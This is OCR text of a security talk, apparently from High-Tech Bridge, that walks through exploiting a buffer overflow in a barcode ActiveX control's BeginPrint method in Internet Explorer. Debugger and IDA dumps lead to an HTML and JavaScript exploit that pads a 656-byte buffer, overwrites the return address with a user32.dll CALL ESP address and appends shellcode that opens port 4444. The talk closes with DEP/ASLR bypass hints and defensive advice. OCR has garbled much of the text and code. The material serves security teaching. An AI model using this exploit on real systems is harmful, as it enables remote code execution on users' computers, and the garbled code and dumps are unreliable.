771273s7 0fb75d14 novzz  sbx.word ptr [sbp+l4h] =50 lécchbad 016cches 00000000
771273=b 8h4dz4 mow ecx.dword ptr [ebp+24h] s= 23 0lecchbec 00000000
771273ee £7c300200000 test ebx, offset «Unloaded sspo.dll>+0xlf£ff (00002000} dx0 a 016cchbfl 0l6cccBd <Unloaded_sspc.dll»+0xlbcoccB3
7712734 7507 jne QLEAUT32 ! DispCallFunc+0=x20b (771273fd) drl 1] 016cchbf4 3dle3dea mshitml!Ordinall03+0xb?{h2
771273f6 ££249dc0741277  jmp dword ptr OLEAUT32 | DispCallFunc+0x198 (771274c0]|| gr2 1} Olecchbfs 00001405 <Unloaded sspoc.dll:+0x1404
771273fd 894108 nav dword ptr [ecz+8]. eax dr3 [i] Olécchic 0léccc2o <Unloaded_sspc.dll»+0xlécco2b
Al oo oo dré ] 016cecOl 00000000
dr7 0 O0ltccc04 00000001 <Unloaded_sspo.dll:
- T 016ccelf 3cf?oc048 mshtml!DllGstClassObject+0xbecid
Dbg:6.11.000THIES di ey Di6eecls 3cf72342 mshtnliDL1GstClassObject+Dxbostd
0:008> bl e 2830 016cccll 04021££0 <Unloaded sspo. dlls+0xilalfef
0 e 77127304 0001 ¢0001) 0O:==xx QLEAUT32!DispCallFunc = 0lécccld 3d07P5b90 mshtml!Ordinall0d+0x63£88
1e 771273ce 0001 (0001) 0 *s** OLEAUT3Z1DispCallFunc+0xl68 dx Eég? 016ccol8 Dl6cccad <Unloaded_sspe. dlls>+0xlbécocas 4|
cx e ..
ST E_mx
};g g};gg JVWtuahIUZUSEDllD “D\sp\ayformat: Byte hd ‘ Previous I Mext |
fl 202 Mnable to retrieve information, Win32 error On30: The system cannatfj
=D chad
bl 20
dl 2a
cl af
al i}
bh 7e
dh ed
ch =5
ah &0
fpow 271
fpsw 4000
fotw fEff
fop 35d
fpip 3cf93£73
fpi ib
fpdp lacdSec
fpd... 22 = -
|D:UUS> || K | LDI | | v
Oleaut32.dll is the module which deals with execution of ActiveX Ole automation.

Oleaut32!DispCallFunc, which is the call which enters in our method.




" S
Finding the method dinamycally and
statically

Disassembly - Pid 3968 - WinDbg:6.11. i m] 4]
COffset: I@Sscapeip | Previous I et |
771273a3 B3f806 CIp 23X, b

771273ak 0f8404010000 je OLEAUT3Z2 IDispCallFunc+0xl3e (771274b0)

771273ac 8bddlc now ecx,dword ptr [=bp+0Ch]

771273af Obdb or ebz . ebx

771273b1 7406 ie OLEAUT3Z2 IDispCallFunc+0=x153 (771273b9)

771273b3 B3 push sbhx

771273b4d 8blb now bz, dword ptr [=bx]

771273be 8b0cl9 now ecx,dword ptr [ecx+ebx]

77127309 0be9 or SCE, 80K

771273bb 0fad414440200 je OLEAUT3Z2 IDispCallFunc+0=z21f (7714L7d45)

7712731 642113000000 now sax.dword ptr f=:[<Unloaded s=spc.dll:+0x17 (DDDDDDIS)]

b te ptr <Unloaded sspc.dll:-+0=fb3 (00000fhL4 .
ecx {BarCodeix!|D]lllnregisterServer+0x53al (037deb3 tl'

??12?30? 5088540£000001

??12?3d0 648b0d18000000 ecx,dword ptr fs:[<UnlDaded_Sspc.dll>+Dx1 (oooooniasy]
771273d7 80a1b40£000000 and byte ptr ¢<Unloaded sspc.dll:+0x=fb3 {00 fthd)[ecx]. 0
771273de 3beSfc cnp esp.dword ptr [sbp-4]

771273el 0f855bO10000 jne OLEAUT32 |IDispCallFunc+0=x226 (77

77127327 0fbV5d414 NoOVIH bz, word ptr [ebp+ldh]

771273eb 8hd4d24 mow ecx.dword ptr [ebp+24h]

771273ees £7c300200000 test ebx . of fzet <Unloaded c.dll:+0=1£f£f (00002000)

771273f4 7507 jne CLEAUT32 1 Di=spCallF +0x20b (771273£d)

771273f6 ££249dc0741277  Jup dword ptr OLEAT | DigpCallFunc+0x198 (771274c0)[=bz=d

FA127AFA R941NR8 T Awmrd ntr 5=

[l | ]
B 10l x|

0:008:

=start nd nodule #dne

[Da7dooon D382bDDD BarCededx| C (export symbols) C:“Program Files“RED~BarCodelsx-E.

Hizsing image name. ==zible paged-out or corrupt data.
Hissing image nong? possible paged-out or corrupt data.
0.008:x [Y _037deS3f — 03740000

Fvaluate expre=s=ion: S8687 = [0000=53f

m  The memory offset of the method must be calculated to find the correct memory
address from the ImageBase in IDA which is 0x1000000.

m  In WinDBG we can list the start and end addresses of modules with the (Im m
module_name) command

m Offset of the entry point of BeginPrint = Address of the method — ImageBase.
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Are we at the right place?

[ Disassembly - Pid 3472 - WinDbg:6 Jﬂﬂ 10A Yiew-& @ | @ Hesx Vigw- | IE Struchures | [-j Enums | ﬁ Tnp
Offset: |@%=capeip | Previous | Mext | .text:1860E5F ; int  stdcall sub 1@BBES3F(DWORD pcbHeeded, HANDLE LpWideCharStr)
033453F 55 Tush ehp .text:1000ESIF sub 1BBBESIF  proc near ; DATA NREF: .data:10026E68)0
03342540 8dhc2490 lea ebp, [=sp-70h] Ltext:1000E53F ; .data:10627968)0
0334544 Blechc0Z0000  [sub gzp,of fzet (Tnloaded_sspo.dllx+0x28h (0000028c) text:1800E53F
g%%iegii Eg DHSE ebx .text:1000E53F pPrinterNane = byte ptr -28Ch

= PSS .text:1080E53F var 98 = dword ptr -98h
0334e54c BB7S7E nawv gzi,dword ptr [ebp+78h] . n _ P _

Ltext:1000E53F var 94 = byte ptr -94h

Didieit 1idh zr - ebe el text:1B00ES3F ReturnedString = byte ptr -64h
03342551 393200010000 |onp  dvord ptr <Unlosded_sspe dll+0zff (00000100)[esi], ehe |- o8t e
03342557 57 T ext:1800E53F Dst = dword ptr -1bh
03342558 740a ie BarCodehx! D11 UnreqisterServer+(zbics (0334564) textsARAESIF var 10 = duord ptr -16h
033455 68010204c0 push  (CO040201h text:100 chHeeded = dyord ptr 8
0334e55F 2300020000 e BarCodehs! D] 1UnregistarServer+lxiscs (0334e76d) .text:1000ES3F IpvidecharStr = dword ptr  6Ch
______ g 3l dword ptr [ebp+7Ch], ehx .text:1000E53F
0334567 BRYdedfdffff  mov byte ptr [ebp-21Ch], bl toxt=1000E53F TE R
0334ebed 743d jE BarCodedx! D11 UnregisterServer+0x540d (0334e5ac) e p p
0334256F £1757c puzh  dvord ptr [ebp7Ch] -text:1000E540 lea  ebp, [esp-76n]
0334572 Bd4dds lea ecx, [ebp-28h] -Lext: 1000544 sub esp, 28Ch
0334575 eBlicdffif call  BarCodedx!DllUnregisterServer+lx2les {0334b28d) text:1000E544 push  ebx
0334573 £130 push  dword ptr [eax] .tegt:1800E548 push  esi
0334=57c bdbdedtdtttt  lea  eax, [shp-21CH] text:1006E54C mu  esi, [ebp+7Bhepchieeded]
EES o000 a1l BmCodebelDLl nregisterServers rlzil (03i5bagg)  [|LOXCF1000ESAF xorebs, eb
ANASFAR NAAFd 1o e Pl nil1 ) . |.text:1086E551 CMp [ESi+1ﬁ_ﬂ]]]. eby

m At the present time we can successfully compare our dynamic and static code.
m  We can be sure that we are at the right place.

m The instructions shown up in WinDBG and IDA are exactly the same.
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Knowing the actual thread stack

A Disassembly - Pid 2156 - WinDbg:6.11. B[] ] M [a][ET || £ rMemory - Pid 2156 - WinDbg:6.11 _(o] x|
Offset: I@Sscopeip | Previous l Mext I e, I JVirtuaI: I@esp HDisplay format: IPcy:_nt,er and 5% | Previous I Mext I
0390babf 741d je BarCoded=z!|DllUnregisterServer+0x1293f {0390bade | Olbocchds 41414141 ;I
0390bacl 8all now dl.byte ptr [ecx] EeE |l YEles “{||016cebs0 41414141
0390bac3 83c101 add ecx, 1 g= 0 0l6cchB4 41414141
0390bact 84d2 test dl.dl fs ib 0l6cchBd 41414141
0390bac8 7466 je BarCoded=x | D]11UnregisterServer+0x12991 {0390bb30 || e= 23 0lécchic 41414141
0390baca 8817 Mmow byte ptr [edi].dl d= 23 0l6cchbel 41414141
0390bacc 832701 add edi.l edi 16cchal Olecched 41414141
0390bacf £7c103000000 test ecE,of fzet «Unloaded_sspc.dll:+0=2 (00000003) esi 3b238a8 Ol6cched 41414141
0390badf 7Sea jne BarCodedx|DllUnregisterServer+0x12922 (0390bacl || Jpy 0 0lécchéc 41414141
0390bad? eb05 inp BarCodedx | Dl1UnregisterServer+0x1293f (0390bade || 5, 77dbf 93 01l6cch?0 41414141
0390bad? 8917 pillm)d dvord ptr [edi]. edx cox Th7 4654 Ol6cch74 41414141
[ ad. 14 0l6cch?d 41414141
0330bade baifisisis == =d=, 7EFEFEFFh sax  7efelele Ul6ccb7c 41414141
0390ba=s3 8b01 MO eax,dvord ptr [ecx] =bh cobhes 0lecchi0 41414141
0390baes 03d0 add edx. eax eip  330badb 0l6écchbed 41414141
0390bas? 83E0£f =or sax, OFFFFFFFFh — éis 016cchBd 41414141
0390basa 332 HOT sax, edx e Ol6cchic 41414141
0390baec 8b11 now edx, dvord ptr [ecx] esp léccsfd 0l6cch90 41414141
0390base 83c104 add ecx, 4 == 23 0l6cch94 41414141
0390bafl a900010181 test eax, 81010100h dr0 16cchbal 0l6cch9d 41414141
0390hafh 7del je BarCoded=x |D11UnregisterServer+0x1293a {0390badd || dr1 [i] 0lé6cchb9c 41414141
0390bafd 9442 test dl.dl dr2 i} 0l6cchbal 77dbf9=3 USER3ZI PchSym_ <PERF: (USER32+40=7f%3)
1 |_p| dr3 i} Olbcchbad 03b238a8 <Unloaded_sspc.dllr+0x3b238a7
dre FEFEOFEL Olécchad 028fabbc <Unloaded sspo.dll:+0x28fabbb
0lécchac 0l6cchbec <Unloaded_sspo.dll»+0xzléccheb
o] g7 1150 016cchb0 03d709£0 <Unloaded_sspe.dlls>+0x3d7caet
0:008> laddress @esp R 3828 01l6cchbd 0l6ccbac <Unloaded sspe.dlly+0x16ccbhab
11440000 : 016LE000 — 00011000 21 H 2 01l6cchbbf 016cccdd <Unloaded_sspo.dllr+0xlécccd?
Type 00020000 MEM PRIVATE = Olecchbe 7712790 OLEAUTIZ | CTypelnfo?: : Invoke+0x234 —
grote:t gggg?ggg ﬁéﬁEﬁgﬁﬁ?¥RITE dx iggi 0l6cchol 03b238a8 <Unloaded sspc.dll»+0x3b238a7 _IL
tate [ [=3:4 - qI I »
Usage Regionl=ageStack ax fefe v
Pid.Tid #86c. Bec bp ghig §E Memory - Pid 2156 - WinDbg:6.11.0001.404 X86 _ 3 x]
;lf 236 J\u'lrtualz I@Sscnpal |JD|spIayformat:|Byt,e - | Previous I Mest I
sp cBOfd Unable to retrieve information. HEESULT 0x80040205: An unexpected excep
bl 1}
dl =3
cl a4
al fe

1]
£9

ch

ah ie

fpow 271

fpsw 4000 |

fptw fEff

fop... 35d

fpip Aci9IfTR

fpi... 0

fpdp lécdSec

fpd... 0

=t0 —1.000000000001
CECEERY| < | _’i_/l < | 2

A
m  After the overflow occurs, we can calculate the thread stack size using the !address @esp command,
doing this will permit us to quickly figure out useful information to code the exploit.

m  After the top and bottom values of actual stack have been calculated, we must know how many
parameters the BeginPrint function is accepting.



Knowing the parameters using IDA

-text:18086E53F

-text:188BE53F ; Attributes: bp-based frame Fpd=78h

-text:18808ES3F

.text:1880E53F ; int _ stdcall BeginPrint
-text:188BE53F BeginPrint proc near

-text:18086E53F
-text:1886E53F
-text:188BE53F pPrinterHame
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{DWORD pcbHeeded, HANDLE 1lpWideCharStr)

byte ptr -28Ch

DATA SREF: .data:THEZGE!
.data:z 18827988 Lo

-text:1080BES53F var_ 98 = dword ptr -98h
-text:1800ES53F var_94 = byte ptr -94h
-text:188BE53F ReturnedString = byte ptr -64h
-text:1888ES53F Dst = dword ptr -14h
-text:1888ES53F var_18 = dword ptr -18h
-text:1888E53F pcbHeeded = dword ptr B
-text:188BE53F lpWideCharStr = dword ptr @Ch
-text:18086E53F

-text:1888ES3F push ebp

-text:1088E5408 lea ebp, [esp-78h]
text-18060ES4Y sub esp, 28Ch
-text:1080E54A push ebhx

-text:1000E54B push esi

-text:1888ES54C mov esi, [ebp+7Bh+pcbHeeded]
-text:-1886BES4F ®xor ebx, ebx
-text:1880E551 cmp [esi+188h], ebx
-text:1888E557 push edi

-text:1000E558 jz short loc_1880ES64
-text:1886E55A push BCe8482081h
-text:1886ESSF jmp loc_188BE76L4

The BeginPrint function is receiving two parameters.

68lo



1] 1TPS— ] 1"
[
HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

Calculating our evil buffer size

Dbo'.11.000L.404 X35 5 JRTaTE] g viemory - 2156 - (-0l
J\u‘irtual: I@ESP HDispIay Format: IPDinter and ngll Previous I Mext J\u'irtual: I@esp |JDisplay Format: IPDintBr and Sx_'” Frevious I Mext
OlbccHac 00000acE <Unloaded_sspo.dll>+0xac? ~||016cchdic 41414141 =
0l6cc8bld 0l6cchb0d4 <Unloaded_sspo.dll:+0xlecch03 O0l6cchS0 41414141

0l6cc8bd 00000564 <Unloaded_sspo.dll:+0=563 Dl6cchSd 41414141

0l6ccBbE 0lbcchb2e <Unlosded_sspo.dll>+0xlécch2b 0l6cchbBE 41414141

O0l6cc8bo 038fada? BarCodehz!DllUnregisterServer+0xlc08 Ol6ochbc 41414141

0léoc8cl 00000003 <Unloaded sspo.dll:+0=2 Dl6cche0 41414141

0l6cc8o4 00000000 Dl6ochid 41414141

Olecc8ct 028fabbc <Unloaded_sspo.dll>+0x28fabeb Ol6ochbl 41414141

0lécc8co 00000000 Dl6cchéc 41414141

01l6cc8d0 03b243£0 <Unlosded_sspo.dll>+0x3b243=f 016cch?0 41414141

Olecc8dd 00000ac8 <Unloaded_sspo.dll:+0xac? O0l6och74 41414141

016cc8ds 00000001 <Unloaded sspo.dll: 016cch78 41414141

0l6cc8de 00000000 Dl6och?c 41414141

01l6cc8=0 00000000 0l6cchi0 41414141

0lécc8ed 00000000 Dl6cchid 41414141

Olbcc8el 0lbcchb0d <Unlosded_sspo.dll>+0xlEcchb0l 0l6cchif 41414141

Olécc8ec 038fb2a7 BarCodehz!DllUnregisterServer+0x2108 Ol6ochic 41414141

016cc8f0 028fabtc <Unloaded _sspo.dll:+0x28fabéh 016cch90 41414141

0l6cc8£4 00000000 Dl6cch94 41414141

Olecc8fd 038£e588 BarCodehxz!DllUnregisterServer+0xbied O0l6ochdf 41414141

Olécc8ic 0l6cc910 <Unloaded sspo.dll:+0xlecc90f 0ltcchd 1414141

016cc900 03b243£0 <Unloaded sspc.dll>+0x3b243ef 7dbi%e3 USER32!_ PchSym_ <PERF> (USER32+0x7{%3)

0l6cc904 00000000 0l6cchad 03b23Ba8 <Unloaded _sspo . dll»+0x3b238a7

016cc308 024£2404 <Unloaded_ssp ST L 016cchal 028fabbo <Unloaded sspo.dllx+0x28fabéh
J0l6cc90c V= DTllnregisterServer+lxlebt9l 0l6cchbac 0l6cchec <Unloaded sspc . dll:+0xl6ccheb
f0leccsll 414141 0l6cchbl 03d7c9f0 <Unloaded sspo . dllx+0x3d7c9=f

boo 41414141 0l16cchbbd 0l6cchac <Unloaded sspc dll:+0xl6cchab

0l6cc918 41414141 016cchbbd 016cccd48 <Unloaded sspo . dll:>+0xl6cccd?

Ol6cc9lc 41414141 0l6cchbe 77127920 OLEAUTIZ ICTypelnfo?: : Invoke+0x234

016cc320 41414141 016ccho0 03b238a8 <Unloaded sspo.dllx+0=3b238a7

01600924 41414141 0l6cchbod 00000048 <Unloaded sspo.dllz+0=d?

Dl6cc928 41414141 0l6cchosB 00000004 <Unloaded _sspo. dll»+0x=3

Oléece92e 41414141 0l6cchboe 0000000a <Unloaded_sspe.dllx>+0=9

Olbcc930 41414141 016cchdl 00000001 <Unloaded sspo.dll:

Ol6cc934 41414141 0l6cchdd 024£242c <Unloaded sspo . dllx+0x24f247h0

016cc938 41414141 016cchd® 024£2424 <Unloaded sspo.dllx+0=24£2423

Ol6cc93c 41414141 0l6cchde 0l6cchec <Unloaded sspc . dll:+0xl6ccheb

Olecc940 41414141 016cche0 00000000

Olece944 41414141 0l6cched 0l6ccecd <Unloaded_sspo . dll:>+0=xlbéocec?

Dlecc948 41414141 016cched 00000000

Olecc94c 41414141 016cchec 00000000

01l6ce950 41414141 016cchbf0 0l6ccc8d <Unloaded_sspo . dll>+0xl6occB83

Olbcc954 41414141 01l6cchbfd 3dl63dea mshtml!IsSafeTo+lzZab

0l6cc958 41414141 0l6cchiB 00001405 <Unloaded sspo . dllx+0x1404

01l6ce95c 41414141 0l6cchbfc 0l6cocc2c <Unloaded sspc dll:+0xl6ccczZb

Dlecc960 41414141 016coc00 00000000

Dl6cc964 41414141 016cocc04 00000001 <Unloaded _sspo . dllx

Dl6occ368 41414141 016coc08 3cf?c048 mshtml!IID IDispatchEx

Olbcc96c 41414141 0lécoolc 3cf?a342 mshtml!Releaselnterface+lza

016970 41414141 016cccl0 03b23Ba8 <Unloaded _sspo. dll»+0x3b238a7

016cc374 41414141 016cocld 3d075b90 mshtml!IsSafeTo+lx346

0l6cc978 41414141 016ccelf 0l6cccad <Unloaded sspo.dll:>+0=xlb6ccocald

0l6cc97c 41414141 1 |016ccele 0025c6ad <Unloaded _sspo . dllr+0x25c6a3 |
016cc380 41414141 016coc20 3d075baZ mshtml!IsSafeTo+0x358

Dlecc984 41414141 >l |0l6ccc2d4 00000000 =
ard ozl H 2

m  The buffer size goes from the address 0x016CC910 to address 0x016CCBAO which was the old

return address of Oleaut32!DispCallFunc.

m At this moment the address Ox016CCBAO is already overwritten with a CALL ESP address which

belongs to the user32.dll module at 0X77DBF9ES3.
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CALL ESP from user32.dll module

Disassembl Module List |

Offset; |77dbf 923

np
USER32!__ PchSym_ <PERF: (USER3IZ+H0x7{9f2

i 7eeb0000 7eedf000 Wed Aug 04 09:56:38 2004
77dbf9f2 156552515 adc cax.off=s=t

78130000 78263000 Thu May 06 12:41:52 2010

N Start End Timest -
EEEEEE?T désigsemhlgEEESSiﬁéERSE . Soonrid I ??féﬁ%ﬂﬂl ??fginnnl Thw Jum 75 1044 41 2009 fJ
7 7dbf 93 trag " e T b | sensapi 722b0000 7225000 Wed Aug 04 09:56:28 2004
TR = == | SETUPAPT 77920000 77213000 Wed Aug 04 09:56:32 2004
|
Eﬁﬁﬁﬁgég——chﬁﬁggbgPERF> LEEER32+2§if3§géFF SHELL3?2 7c9c0000  7did6000 Thu Jul 03 15:16:56 2008
USER32 1 Fch <PERF > (USER32+DH?£QEE¢): ShimEng Schb70000 Schb9%e000 Wed Aug 04 09:56:42 2004 0
77dbf 9e5 94 = opfd SHLWAPI 77£60000 77fd6000 Tue Dec 0% 09:59:47 2009
USER32!__ FchSym_ <FERF> ( +0x7£9h): | snxhk 64400000 64434000 Mon Apr 18 19:17:06 2011
77dbf 9eb ffac815efd552a 3 SHS 75290000 7S£40000 Wed Aug 04 08:14:57 2004
I
I

USER321__ PchSym_ <PERF: (USER3Z2+0x7£9f7): 3 77d40000 77440000 Wed Aug 04 09:56:
77dbf3£7 2955241540 test eax. 4B1524 | ISERENY 769c0000 76273000 Wed Aug 04 09:56:41 2004
g?gg?gé__ggchS?m_ <FERF > (USER32+U§?f9fC)i UxThene 5ad70000 G5adaf000 Wed Aug 04 09:56:43 2004
e pus ebp whscript 73300000 73362000 Wed Mar 10 07:15:52 2010
USER32! __ PchSym_ <PERF» [USER32+0=7f9id): or
PObE £ Taltlingasgt s dl byte pt | VERSION 77c00000 77c08000 Wed Aug 04 09:56:39 2004

USER32!__ PchSym_ <PERF> (USER32+0x7£a03): wdmaud 72d20000 72429000 Wed Aug 04 09:56:54 2004

I

I

I

I

I
VININET 3d930000 3dal6000 Thu May 06 12:41:52 2010
a3 B ncyn <PERF> (VSER32+0a3iang). | WINMM 76540000 76b6d000 Ved Aug 04 09:57:10 2004
77dbi a0l o - leave YINSPOOL 73000000 73026000 Wed &ug 04 09:56:38 2004
= e = _ | VINTRUST 76030000 76c5e000 Thu Dec 24 0B:05:26 2009
VLDAP32 76£60000 76£Bc000 Wed Aug 04 09:56:43 2004
vs2_32 71ab0000  71ac7000 Wed Zug 04 09:57:38 2004
- veatle it the con regieter VS2HELP 71220000 71228000 Wed &ug 04 09:57:39 2004

- ret ) wshtcpip 71290000 71298000 Wed Aug 04 09:57:49 2004
USOCK32 71ad0000  71ad9000 Wed Zug 04 09:57:51 2004
zpshins 451£0000 451£6000 Thu May 06 12:41:53 2010

HEDEpLTes 20000000 202c5000 Wed Aug 04 09:56:41 2004 —
4| | »

Cloze I Relnad | Help |

m  We can find opcodes from a module using FindJump or manually using IDA



Collecting all the information

Comments Address Stack Size
0x01<400000 Top
Our evil buffer of 0x016CC910 0x290 bytes
W fom
656 (dec)
Ret 8 0x016CCEAD EIP {come back to 4 hytes
Oleaut32 !DispCGallFunc)
0X016CCEA4 Farameters 2*4 = g bytes
Ox016CCRAR
OxDBAC byt
Our Payload 1) 0RO 16C CBAC ¥ yres
56236 {dec)
0x015BEFFC Bottom
Gxoieerooo I |
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At this point we can calculate how many bytes we need to overwrite EIP and EBP.

We can also determine how many bytes we have on hand to inject our payload. In this case
56236 bytes. This is not always the case!
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Which part of the code Is responsible for this
overflow?

-80AA0298 ; Frame size: 298; Saved regs: 4; Purge: 8
-0006808298 text:1000ES6Y loc_10B0E56Y: : CODE XREF: BeginPrint+19Tj
|eepoo298 text:1000E564 cnp [ebp+7Bh+1pWideCharstr], ebx
-a00aaz2o8 db ? ; undefined text:1000ES67 nou [ebp+7Bh+pPrinterHame], bl
-goaap?07 db ? ; undefined text:1080E56D jz short loc_1@88ESAC
e ——— db 7 : undefined text:1080E56F push [ebp+7Bh+1pWidecharStr] ; lpWideCharStr
- 2 © undefined text:1800E572 lea ecx, [ebp+7Bh+uar 98]
800800295 db ? ; undefl text:18BBE575 ta sub_
-9080829, db ? ; undefined text:10880E57A push dword ptr [eax] ; char =
-aapap293 db ? ; undefined text:1880ES7C lea eax, [ebp+7Bh+pPrinterHame]
—AEEA[A?9? db ? ; undefined text:18080E582 push eax ; char =
: i 2 | nderines TR
-808688298 db ? ; undefined Text:1006E58B cnp [ebp+7Bh+var_98], eax
- A ? text:1006ESSE pop ecx
-08808028E ? : text:180BESSF pop ecx
—AEEAE?8DY ? ; undefined text:10ABE598 jz shovrt loc_188BES0B
. text:1888BE592 push [ebp+7Bh+var_98] ; void =
— 2 —
00000280 ;pwlnterﬂame db o . text:1800E595 call  free
-0000028B db ? unl:IEF:_lnEl:I text:-188BE59A pop ecx
-a0088628A db ¢ ; undefined text:108BES2B
-g0Aa[E2RY db ? ; undefined text:1080E59B loc_1@0BE59B: ; CODE _XREF: BeginPrint+51Tj
-AEAAA?RE db 7 : undefined text:1080E59B lea eax, [ebp+7Bh+pPrinterHame]
. . text:18BBE5A1 push eax ; char =
- 2 - ’
8808808287 db ? ; undefined text:1080E5A2 call strlen
-00000286 db ? ; UndEF}"Ed text:108BESAT test eax, eax
-80806285 db ¥ ; undefined text:18B0BESAY pop ecx
-00apazen db ? ; undefined text:1080E5AA jnz short loc_1888E611

m  Since the parameter involved in the buffer overflow is pPrinterName, the overflow occurs when a
call to strcpy is being done without any check.

m Itis very funny to see that a size check using strlen to compute the number of bytes has been
done after the call to strcpy routine! ©
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Coding the exploit

<HTML -
<BODY

<object id-ctrl classid="clsid:{CZeEDICAS-6747-11D5-AD4E-CO1857C10000} "= fobject>
<goript language='javascript' >

var payLoadCode=unescape ("$eb%03559%ebs055e8s f03 £E5EE5£f5 415405495495 495495495515 5a% 56055455853 6%533%30%56%
—_—

function ExploitMe()
i
var size huff = 656
var ¥ = MALALL™;
while (x.length<size buff) x += x;
¥ = x.substring(0,size_buff);

var eip = unescape ["3E3%F93DE377"): ff call esp from user32.dll Module
X += eip;

var bhuff ret 8 = unescape ("%90%90%90%90%90%90%90%90") ;
K += buff ret &;

® += payLoadCode;

ctrl.BeginPrint (x)
}

< fSCRIPT >

<input language=Javaicript onclick=ExploitMe|(] type=button ralue="GoM":-
< fBODY:-

< fHTML -

m  We define a 656 bytes buffer to overwrite EIP & EBP.

m  We use a call esp address at user32.dIl module to overwrite the old pointer to
Oleaut32!DispCallFunc function.

m  Abuffer of 8 bytes is also created replacing the two parameters of the BeginPrint function.

m  Finally the payload (opens port 4444) is added and the BeginPrint method is called.
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Windows 7 and Internet Explorer protections

m  DEP Windows Data Execution Prevention /NX memory pages marked as non
executable.

m  ASLR (Address space layout randomization) moves executable images into random
locations when a system boots, making it harder for exploit code to operate
predictably

m Internet Explorer 8 and 9 will enable DEP/NX protection when run on an operating
system with the latest service pack.

m  Hopefully others techniques as ROP, .NET user control, actionscript/java, heap
spraying, jit-spray can help you bypass these protections.
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Preventing ActiveX attacks

m Turn on the Kkillbit of the control.

m Unregister the ActiveX can be also a way to protect you against an ActiveX attack.
m Security patches.

m Audit any new ActiveX you install in your PC. (Fuzzing)

m Make the right choice about your Internet Browser!
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DEMO (Tracing & executing the exploit)
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Become fully aware of the potential

dangers of ActiveX attacks

Questions?

brian.mariani@htbridge.ch



